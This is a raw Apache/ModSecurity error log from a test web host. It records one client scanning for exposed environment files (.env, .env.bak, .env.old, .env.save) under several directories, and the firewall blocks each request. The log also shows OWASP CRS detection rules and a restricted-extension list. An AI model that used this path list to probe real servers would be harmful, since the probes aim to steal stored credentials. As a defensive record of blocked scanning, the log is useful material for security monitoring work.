[Sun Oct 26 01:24:22.397964 2025] [:error] [pid 3764940] [client 3.107.185.28:36388] [client 3.107.185.28] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/public/.env.old"] [unique_id "aP1cJtPNphQKiiMCb4eQegAAAAA"], referer: https://www.google.com/
[Sun Oct 26 01:24:22.398171 2025] [:error] [pid 3764940] [client 3.107.185.28:36388] [client 3.107.185.28] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/public/.env.old"] [unique_id "aP1cJtPNphQKiiMCb4eQegAAAAA"], referer: https://www.google.com/
[Sun Oct 26 01:24:23.016059 2025] [:error] [pid 3764940] [client 3.107.185.28:36388] [client 3.107.185.28] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /assets/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/assets/.env"] [unique_id "aP1cJ9PNphQKiiMCb4eQewAAAAA"], referer: https://www.google.com/
[Sun Oct 26 01:24:23.016325 2025] [:error] [pid 3764940] [client 3.107.185.28:36388] [client 3.107.185.28] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/assets/.env"] [unique_id "aP1cJ9PNphQKiiMCb4eQewAAAAA"], referer: https://www.google.com/
[Sun Oct 26 01:24:23.016515 2025] [:error] [pid 3764940] [client 3.107.185.28:36388] [client 3.107.185.28] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/assets/.env"] [unique_id "aP1cJ9PNphQKiiMCb4eQewAAAAA"], referer: https://www.google.com/
[Sun Oct 26 01:24:23.622539 2025] [:error] [pid 3764940] [client 3.107.185.28:36388] [client 3.107.185.28] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /assets/.env.save"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/assets/.env.save"] [unique_id "aP1cJ9PNphQKiiMCb4eQfAAAAAA"], referer: https://www.google.com/
[Sun Oct 26 01:24:23.622805 2025] [:error] [pid 3764940] [client 3.107.185.28:36388] [client 3.107.185.28] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/assets/.env.save"] [unique_id "aP1cJ9PNphQKiiMCb4eQfAAAAAA"], referer: https://www.google.com/
[Sun Oct 26 01:24:23.622998 2025] [:error] [pid 3764940] [client 3.107.185.28:36388] [client 3.107.185.28] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/assets/.env.save"] [unique_id "aP1cJ9PNphQKiiMCb4eQfAAAAAA"], referer: https://www.google.com/
[Sun Oct 26 01:24:24.228468 2025] [:error] [pid 3764940] [client 3.107.185.28:36388] [client 3.107.185.28] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/assets/.env.bak"] [unique_id "aP1cKNPNphQKiiMCb4eQfQAAAAA"], referer: https://www.google.com/
[Sun Oct 26 01:24:24.228682 2025] [:error] [pid 3764940] [client 3.107.185.28:36388] [client 3.107.185.28] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /assets/.env.bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/assets/.env.bak"] [unique_id "aP1cKNPNphQKiiMCb4eQfQAAAAA"], referer: https://www.google.com/
[Sun Oct 26 01:24:24.228929 2025] [:error] [pid 3764940] [client 3.107.185.28:36388] [client 3.107.185.28] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/assets/.env.bak"] [unique_id "aP1cKNPNphQKiiMCb4eQfQAAAAA"], referer: https://www.google.com/
[Sun Oct 26 01:24:24.229135 2025] [:error] [pid 3764940] [client 3.107.185.28:36388] [client 3.107.185.28] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/assets/.env.bak"] [unique_id "aP1cKNPNphQKiiMCb4eQfQAAAAA"], referer: https://www.google.com/
[Sun Oct 26 01:24:24.834475 2025] [:error] [pid 3764940] [client 3.107.185.28:36388] [client 3.107.185.28] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/assets/.env.old"] [unique_id "aP1cKNPNphQKiiMCb4eQfgAAAAA"], referer: https://www.google.com/
[Sun Oct 26 01:24:24.834677 2025] [:error] [pid 3764940] [client 3.107.185.28:36388] [client 3.107.185.28] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /assets/.env.old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/assets/.env.old"] [unique_id "aP1cKNPNphQKiiMCb4eQfgAAAAA"], referer: https://www.google.com/
[Sun Oct 26 01:24:24.834908 2025] [:error] [pid 3764940] [client 3.107.185.28:36388] [client 3.107.185.28] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/assets/.env.old"] [unique_id "aP1cKNPNphQKiiMCb4eQfgAAAAA"], referer: https://www.google.com/
[Sun Oct 26 01:24:24.835110 2025] [:error] [pid 3764940] [client 3.107.185.28:36388] [client 3.107.185.28] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/assets/.env.old"] [unique_id "aP1cKNPNphQKiiMCb4eQfgAAAAA"], referer: https://www.google.com/
[Sun Oct 26 01:24:25.440392 2025] [:error] [pid 3764940] [client 3.107.185.28:36388] [client 3.107.185.28] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /includes/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/includes/.env"] [unique_id "aP1cKdPNphQKiiMCb4eQfwAAAAA"], referer: https://www.google.com/
[Sun Oct 26 01:24:25.440647 2025] [:error] [pid 3764940] [client 3.107.185.28:36388] [client 3.107.185.28] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/includes/.env"] [unique_id "aP1cKdPNphQKiiMCb4eQfwAAAAA"], referer: https://www.google.com/
[Sun Oct 26 01:24:25.440833 2025] [:error] [pid 3764940] [client 3.107.185.28:36388] [client 3.107.185.28] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/includes/.env"] [unique_id "aP1cKdPNphQKiiMCb4eQfwAAAAA"], referer: https://www.google.com/
[Sun Oct 26 01:24:26.045918 2025] [:error] [pid 3764940] [client 3.107.185.28:36388] [client 3.107.185.28] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /includes/.env.save"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/includes/.env.save"] [unique_id "aP1cKtPNphQKiiMCb4eQgAAAAAA"], referer: https://www.google.com/
[Sun Oct 26 01:24:26.046182 2025] [:error] [pid 3764940] [client 3.107.185.28:36388] [client 3.107.185.28] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/includes/.env.save"] [unique_id "aP1cKtPNphQKiiMCb4eQgAAAAAA"], referer: https://www.google.com/
[Sun Oct 26 01:24:26.046408 2025] [:error] [pid 3764940] [client 3.107.185.28:36388] [client 3.107.185.28] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/includes/.env.save"] [unique_id "aP1cKtPNphQKiiMCb4eQgAAAAAA"], referer: https://www.google.com/
[Sun Oct 26 01:24:26.651211 2025] [:error] [pid 3764940] [client 3.107.185.28:36388] [client 3.107.185.28] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/includes/.env.bak"] [unique_id "aP1cKtPNphQKiiMCb4eQgQAAAAA"], referer: https://www.google.com/
[Sun Oct 26 01:24:26.651399 2025] [:error] [pid 3764940] [client 3.107.185.28:36388] [client 3.107.185.28] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /includes/.env.bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/includes/.env.bak"] [unique_id "aP1cKtPNphQKiiMCb4eQgQAAAAA"], referer: https://www.google.com/
[Sun Oct 26 01:24:26.651642 2025] [:error] [pid 3764940] [client 3.107.185.28:36388] [client 3.107.185.28] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/includes/.env.bak"] [unique_id "aP1cKtPNphQKiiMCb4eQgQAAAAA"], referer: https://www.google.com/
[Sun Oct 26 01:24:26.651831 2025] [:error] [pid 3764940] [client 3.107.185.28:36388] [client 3.107.185.28] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/includes/.env.bak"] [unique_id "aP1cKtPNphQKiiMCb4eQgQAAAAA"], referer: https://www.google.com/
[Sun Oct 26 01:24:27.257074 2025] [:error] [pid 3764940] [client 3.107.185.28:36388] [client 3.107.185.28] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/includes/.env.old"] [unique_id "aP1cK9PNphQKiiMCb4eQggAAAAA"], referer: https://www.google.com/
[Sun Oct 26 01:24:27.257280 2025] [:error] [pid 3764940] [client 3.107.185.28:36388] [client 3.107.185.28] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /includes/.env.old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/includes/.env.old"] [unique_id "aP1cK9PNphQKiiMCb4eQggAAAAA"], referer: https://www.google.com/
[Sun Oct 26 01:24:27.257505 2025] [:error] [pid 3764940] [client 3.107.185.28:36388] [client 3.107.185.28] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/includes/.env.old"] [unique_id "aP1cK9PNphQKiiMCb4eQggAAAAA"], referer: https://www.google.com/
[Sun Oct 26 01:24:27.257691 2025] [:error] [pid 3764940] [client 3.107.185.28:36388] [client 3.107.185.28] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/includes/.env.old"] [unique_id "aP1cK9PNphQKiiMCb4eQggAAAAA"], referer: https://www.google.com/
[Sun Oct 26 01:24:27.865799 2025] [authz_core:error] [pid 3764940] [client 3.107.185.28:36388] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/lib/.env, referer: https://www.google.com/
[Sun Oct 26 01:24:28.473041 2025] [authz_core:error] [pid 3764940] [client 3.107.185.28:36388] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/lib/.env.save, referer: https://www.google.com/
[Sun Oct 26 01:24:29.121062 2025] [authz_core:error] [pid 3764940] [client 3.107.185.28:36388] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/lib/.env.bak, referer: https://www.google.com/
[Sun Oct 26 01:24:29.726268 2025] [authz_core:error] [pid 3764940] [client 3.107.185.28:36388] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/lib/.env.old, referer: https://www.google.com/
[Sun Oct 26 01:24:30.331979 2025] [:error] [pid 3764940] [client 3.107.185.28:36388] [client 3.107.185.28] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /application/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/application/.env"] [unique_id "aP1cLtPNphQKiiMCb4eQhwAAAAA"], referer: https://www.google.com/
[Sun Oct 26 01:24:30.332289 2025] [:error] [pid 3764940] [client 3.107.185.28:36388] [client 3.107.185.28] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/application/.env"] [unique_id "aP1cLtPNphQKiiMCb4eQhwAAAAA"], referer: https://www.google.com/
[Sun Oct 26 01:24:30.332502 2025] [:error] [pid 3764940] [client 3.107.185.28:36388] [client 3.107.185.28] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/application/.env"] [unique_id "aP1cLtPNphQKiiMCb4eQhwAAAAA"], referer: https://www.google.com/
[Sun Oct 26 01:24:30.937969 2025] [:error] [pid 3764940] [client 3.107.185.28:36388] [client 3.107.185.28] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /application/.env.save"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/application/.env.save"] [unique_id "aP1cLtPNphQKiiMCb4eQiAAAAAA"], referer: https://www.google.com/
